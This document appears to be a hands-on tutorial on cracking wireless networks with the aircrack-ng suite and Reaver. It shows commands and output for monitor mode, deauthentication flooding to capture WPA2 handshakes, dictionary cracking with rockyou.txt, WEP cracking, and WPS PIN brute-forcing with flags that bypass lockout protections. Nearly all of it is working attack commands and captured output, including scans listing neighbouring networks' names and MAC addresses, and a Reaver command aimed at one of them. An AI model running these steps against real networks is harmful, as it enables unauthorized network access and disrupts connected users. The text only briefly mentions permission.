

# Wireless Password Hacks

## WPA and WPA2 Cracking

Before placing our wifi NIC into monitor mode we kill any processes that might interfere

```
airmon-ng check kill
```

```
root@kali:~# airmon-ng check kill
```

```
Killing these processes:
```

```
PID Name  
1005 wpa_supplicant
```

# Set Wireless Adapter into monitor mode

```
airmon-ng start wlan0
```

```
root@kali:~# airmon-ng start wlan0
```

```
PHY      Interface      Driver          Chipset  
phy0     wlan0           rt2800usb      Ralink Technology, Corp. RT5372  
  
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)  
(mac80211 station mode vif disabled for [phy0]wlan0)
```

# Start listening to find BSSID you have permission to exploit.

```
airodump-ng wlan0mon
```

```
# Press Ctrl+C to stop the listener. We need to restart with a defined BSSID and save the captures to a file  
Ctrl+C
```

```
CH 10 ][ Elapsed: 6 s ][ 2019-11-17 20:25
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
00:25:00:FF:94:73	-1	0	0 0	-1	-1				<length: 0>
9C:1E:95:53:F6:B5	-44	4	5 0	1	130	WPA2	CCMP	PSK	CenturyLink0482
7E:7A:8A:05:89:2A	-70	3	0 0	11	195	WPA2	CCMP	MGT	<length: 0>
5E:7A:8A:05:89:2A	-71	3	0 0	11	195	WPA2	CCMP	PSK	<length: 0>
4E:7A:8A:05:89:2A	-71	3	0 0	11	195	OPN			xfinitywifi
3E:7A:8A:05:89:2A	-72	2	0 0	11	195	WPA2	CCMP	PSK	<length: 0>

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
00:25:00:FF:94:73	AA:06:70:CB:80:39	-48	0 -12	133	9	
9C:1E:95:53:F6:B5	14:56:8E:BA:0D:26	-1	0e- 0	0	1	
9C:1E:95:53:F6:B5	34:F3:9A:8C:9F:8D	-10	0 - 6e	0	1	
9C:1E:95:53:F6:B5	98:46:0A:83:0F:B2	-16	0 - 1	450	11	
9C:1E:95:53:F6:B5	D4:A3:3D:6F:76:A4	-42	0 -24	79	8	

Capture the traffic for the BSSID network and save it to a file

```
airodump-ng --bssid 9C:1E:95:53:F6:B5 -c 1 wlan0mon --write /tmp/CenturyLink0482
```

```
CH 1 ][ Elapsed: 0 s ][ 2019-11-17 20:47
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
9C:1E:95:53:F6:B5	-46	54	15	153 0	1	130	WPA2	CCMP	PSK	CenturyLink0482

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
9C:1E:95:53:F6:B5	24:F5:A2:FD:4F:C1	-46	0 - 1e	0	1	
9C:1E:95:53:F6:B5	D4:A3:3D:6F:76:A4	-46	0e- 1	6	17	
9C:1E:95:53:F6:B5	DC:56:E7:58:75:81	-48	0e- 0e	0	23	
9C:1E:95:53:F6:B5	A4:D9:31:AB:10:F8	-36	0e- 1	0	12	
9C:1E:95:53:F6:B5	24:F5:A2:FE:7F:31	-64	0 - 1e	0	1	
9C:1E:95:53:F6:B5	9C:4E:36:27:30:04	-68	0e-18e	0	6	
9C:1E:95:53:F6:B5	CC:9E:A2:6B:8A:44	-60	0 - 1	0	9	
9C:1E:95:53:F6:B5	34:F3:9A:8C:9F:8D	-16	0e- 0e	2	11	
9C:1E:95:53:F6:B5	E8:B2:AC:AB:FD:CF	-48	0e- 0e	2	81	
9C:1E:95:53:F6:B5	98:46:0A:83:0F:B2	-28	0e- 0e	935	61	

Send deauthentication requests to capture an encrypted password for the PSK network

```
aireplay-ng --deauth 100 -a 9C:1E:95:53:F6:B5 wlan0mon
```

```

root@kali:~/tmp# aireplay-ng --deauth 100 -a 9C:1E:95:53:F6:B5 wlan0mon
20:44:33 Waiting for beacon frame (BSSID: 9C:1E:95:53:F6:B5) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
20:44:33 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:34 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:34 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:35 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:36 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:36 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:37 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:37 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:38 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:38 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]
20:44:39 Sending DeAuth (code 7) to broadcast -- BSSID: [9C:1E:95:53:F6:B5]

```

We know we have a password hash as soon as the airodump-ng commands output changes and we see WPA handshake: <MAC Address>

This output can be seen on the first line below

```

CH 1 ][ Elapsed: 1 min ][ 2019-11-17 20:44 ][ WPA handshake: 9C:1E:95:53:F6:B5

```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
9C:1E:95:53:F6:B5	-9	100	810	9297 66	1	130	WPA2	CCMP	PSK	CenturyLink0482

  

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
9C:1E:95:53:F6:B5	34:F3:9A:8C:9F:8D	-18	1e-1e	0	260	
9C:1E:95:53:F6:B5	98:46:0A:83:0F:B2	-20	1e-1	0	766	
9C:1E:95:53:F6:B5	D4:A3:3D:6F:76:A4	-38	1e-1	0	1465	
9C:1E:95:53:F6:B5	50:F5:DA:78:7A:C2	-40	1e-1e	0	318	CenturyLink0482
9C:1E:95:53:F6:B5	24:F5:A2:FD:4F:C1	-46	0e-1e	0	329	
9C:1E:95:53:F6:B5	00:23:A7:BC:0D:C4	-46	1e-1	0	8	
9C:1E:95:53:F6:B5	DC:56:E7:58:75:81	-48	1e-1e	0	1253	
9C:1E:95:53:F6:B5	DC:0C:5C:B4:D5:A8	-48	1e-1	0	163	
9C:1E:95:53:F6:B5	14:56:8E:BA:0D:26	-50	1e-1e	0	676	CenturyLink0482
9C:1E:95:53:F6:B5	E8:B2:AC:AB:FD:CF	-52	1e-1	0	96	
9C:1E:95:53:F6:B5	CC:9E:A2:6B:8A:44	-60	1e-1	0	198	
9C:1E:95:53:F6:B5	9C:4E:36:27:30:04	-60	0e-1e	0	1956	
9C:1E:95:53:F6:B5	F8:62:14:AB:34:3B	-62	1e-1	0	13	
9C:1E:95:53:F6:B5	24:F5:A2:FE:7F:31	-66	0e-1e	0	198	
9C:1E:95:53:F6:B5	00:1E:65:21:8A:0C	-62	0e-48e	0	744	
9C:1E:95:53:F6:B5	7C:04:D0:79:EB:EB	-70	1e-1e	0	1741	

All that is left is to crack the password

```

aircrack-ng -a2 -b 9C:1E:95:53:F6:B5 -w /usr/share/wordlists/rockyou.txt /tmp/
CenturyLink0482.cap

```

Aircrack-ng 1.5.2

[00:00:03] 19380/9822768 keys tested (6334.57 k/s)

Time left: 25 minutes, 47 seconds

0.20%

Current passphrase: nocturno

Master Key : 84 5B AC DB F0 B3 2A 25 59 5F BD 44 3B 7E BE D5  
9E 79 94 6B 10 89 79 49 F5 6D C6 75 E5 4E CE DE

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 00 80 DC 58 06 7F 00 00 70 96 D0 B8 87 55 00 00

## WEP Password Crack

Before placing our wifi NIC into monitor mode we kill any processes that might interfere

```
airmon-ng check kill
```

```
root@kali:~# airmon-ng check kill
```

```
Killing these processes:
```

```
PID Name  
1005 wpa_supplicant
```

# Set Wireless Adapter into monitor mode

```
airmon-ng start wlan0
```

```
root@kali:~# airmon-ng start wlan0
```

```
PHY      Interface      Driver      Chipset
phy0     wlan0           rt2800usb   Ralink Technology, Corp. RT5372

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
```

# Start listening to find BSSID you have permission to exploit.

```
airodump-ng wlan0mon
```

```
# Press Ctrl+C to stop the listner. We need to restart with a defined BSSID and save the captures to a file
```

```
Ctrl+C
```

Below you can see the ENC method is still WPA2. I did not feel like acutally changing my internet to demonstrate this

```
CH 10 ][ Elapsed: 6 s ][ 2019-11-17 20:25
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
00:25:00:FF:94:73	-1	0	0 0	-1	-1				<length: 0>
9C:1E:95:53:F6:B5	-44	4	5 0	1	130	WPA2	CCMP	PSK	CenturyLink0482
7E:7A:8A:05:89:2A	-70	3	0 0	11	195	WPA2	CCMP	MGT	<length: 0>
5E:7A:8A:05:89:2A	-71	3	0 0	11	195	WPA2	CCMP	PSK	<length: 0>
4E:7A:8A:05:89:2A	-71	3	0 0	11	195	OPN			xfinitywifi
3E:7A:8A:05:89:2A	-72	2	0 0	11	195	WPA2	CCMP	PSK	<length: 0>

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
00:25:00:FF:94:73	AA:06:70:CB:80:39	-48	0 -12	133	9	
9C:1E:95:53:F6:B5	14:56:8E:BA:0D:26	-1	0e- 0	0	1	
9C:1E:95:53:F6:B5	34:F3:9A:8C:9F:8D	-10	0 - 6e	0	1	
9C:1E:95:53:F6:B5	98:46:0A:83:0F:B2	-16	0 - 1	450	11	
9C:1E:95:53:F6:B5	D4:A3:3D:6F:76:A4	-42	0 -24	79	8	

Capture the traffic for the BSSID network and save it to a file. Let it run for a couple minutes to ensure you capture repeated sequences

```
airodump-ng --bssid 9C:1E:95:53:F6:B5 -c 1 wlan0mon --write /tmp/CenturyLink0482
```

```
CH 1 ][ Elapsed: 0 s ][ 2019-11-17 20:47
BSSID          PWR RXQ  Beacons   #Data, #/s  CH  MB  ENC  CIPHER AUTH  ESSID
9C:1E:95:53:F6:B5 -46  54      15        153   0   1  130  WPA2  CCMP  PSK   CenturyLink0482
BSSID          STATION    PWR   Rate    Lost    Frames  Probe
9C:1E:95:53:F6:B5 24:F5:A2:FD:4F:C1 -46   0 - 1e    0        1
9C:1E:95:53:F6:B5 D4:A3:3D:6F:76:A4 -46   0e- 1     6        17
9C:1E:95:53:F6:B5 DC:56:E7:58:75:81 -48   0e- 0e     0        23
9C:1E:95:53:F6:B5 A4:D9:31:AB:10:F8 -36   0e- 1     0        12
9C:1E:95:53:F6:B5 24:F5:A2:FE:7F:31 -64   0 - 1e    0         1
9C:1E:95:53:F6:B5 9C:4E:36:27:30:04 -68   0e-18e   0         6
9C:1E:95:53:F6:B5 CC:9E:A2:6B:8A:44 -60   0 - 1     0         9
9C:1E:95:53:F6:B5 34:F3:9A:8C:9F:8D -16   0e- 0e     2        11
9C:1E:95:53:F6:B5 E8:B2:AC:AB:FD:CF -48   0e- 0e     2        81
9C:1E:95:53:F6:B5 98:46:0A:83:0E:B2 -28   0e- 0e    935       61
```

Crack the WEP password

```
aircrack-ng -z -b 9C:1E:95:53:F6:B5 /tmp/CenturyLink0482.cap
```

## WPS Cracking

To crack the WPS PIN for a wireless network we first need to place our wireless NIC into monitor mode

```
airmon-ng start wlan0
```

```
root@kali:~/HTB/boxes/Traverxec# airmon-ng start wlan0
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

  PID Name
  660 NetworkManager
 1038 wpa_supplicant

PHY      Interface      Driver      Chipset
phy0     wlan0          rt2800usb   Ralink Technology, Corp. RT5372

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
```

Next, use Reavers wash command to find vulnerable WPS networks

```
wash -i wlan0mon
```

```
root@kali:~/HTB/boxes/Traverxec# wash -i wlan0mon
BSSID           Ch  dBm  WPS  Lck  Vendor  ESSID
-----
B0:B9:8A:79:7E:1B  1  -77  2.0  No   Broadcom  NETGEAR28
A0:A3:E2:25:65:35  1  -77  2.0  No   Broadcom  CenturyLink7869
10:13:31:05:B6:6A  1  -81  2.0  No   Broadcom  stebbinswifi
04:BF:6D:D1:10:D3  1  -79  2.0  No   Broadcom  CenturyLink3471
CC:40:D0:62:9C:2E  6  -75  1.0  No           NETGEAR00
B0:93:5B:20:39:06  6  -77  2.0  No   AtherosC  Tulsa
```

Run Reaver to begin brute forcing the PIN. This can take a couple hours to a couple days

```
reaver -i wlan0mon -c 1 -b 04:BF:6D:D1:10:D3 -vv
```

If a newer modem is being used certain protections can be bypassed using the following command

```
reaver -i wlan0mon -c 1 -b 04:BF:6D:D1:10:D3 -vv -L -N -d 15 -T .5 -r 3:15
```

- L  
Ignore locked WPS state.
- N  
Don't send NACK packets when errors are detected.
- d 15  
Delay 15 seconds between PIN attempts.
- T  
Set timeout period to half a second.
- r 3:15  
After 3 attempts, sleep for 15 seconds